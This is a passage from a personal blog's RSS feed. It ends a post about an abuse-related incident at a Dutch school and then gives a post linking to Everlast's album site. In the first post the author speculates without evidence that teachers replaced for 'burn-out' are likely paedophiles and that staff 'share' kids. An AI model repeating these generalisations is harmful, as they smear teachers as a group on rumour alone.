<p>Interestingly, the school does not file a complaint against the teacher <em>because it wasn&#8217;t the teachers intension to show it on the screen</em>.  Also, a representative of the school now <em>downplays</em> the stories that initially went around, especially about the girl being a minor. </p>
<p>Of course, these sicko&#8217;s will &#8220;protect&#8221; each-other and they will probably &#8220;share&#8221; kids between them. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>This isn&#8217;t the first time <em>this same frigging school</em> has a child-abuse-related incident: a few kids were abused, and even one teacher was screwing with a 16 year old and another once dangled his penis in front of the entire class-room. I heard some other &#8220;vague&#8221; stories about teachers suddenly being replaced by another teacher due to a &#8220;burn-out&#8221;. </p>
<p>If that story ever went around your school &#8212; that a teacher had a burn-out and had to be replaced &#8212; the odds are the teacher was a frigging paedophile that loved children just a tad too much, I&#8217;m sure!</p>
<p>I don&#8217;t know what comedian said it first, but &#8220;anyone who likes to work with children is suspect&#8221;.. </p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/01/30/hey-teacher-leave-those-kids-alone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Everlast: Love War and The Ghost of Whitey Ford</title>
		<link>http://navahogunleg.net/blog/2008/01/02/everlast-love-war-and-the-ghost-of-whitey-ford/</link>
		<comments>http://navahogunleg.net/blog/2008/01/02/everlast-love-war-and-the-ghost-of-whitey-ford/#comments</comments>
		<pubDate>Wed, 02 Jan 2008 09:30:01 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Arts & Poetry]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/2008/01/02/everlast-love-war-and-the-ghost-of-whitey-ford/</guid>
		<description><![CDATA[It&#8217;s been quiet for a long while &#8230; probably because I didn&#8217;t have anything to say or anything to vent&#8230; But I do so, now.  
See, my girlfriend found the new site set up by Everlast (to spread the word about his new album, Love War and The Ghost of Whitey Ford, I assume) [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been quiet for a long while &#8230; probably because I didn&#8217;t have anything to say or anything to vent&#8230; But I do so, <em>now</em>. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>See, my girlfriend found the new site set up by Everlast (to spread the word about his new album, <em>Love War and The Ghost of Whitey Ford</em>, I assume) called &#8220;<a href="http://www.martyr-inc.com">Martyr Inc.</a>&#8220;. (A pretty nice design job it is, I must say.)</p>
<p>I just love page 3 in the Book of Life, which I can relate to as we still had obligatory military service here in the Netherlands and that P.E. song was an inspiration to me to &#8216;rebel&#8217; at that time.</p>
<p>Anyways I thought I&#8217;d spread the link here as well, as I know some of the few readers I have are into the same music. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>(Oh yeah, and a happy new year and all that.)</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2008/01/02/everlast-love-war-and-the-ghost-of-whitey-ford/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
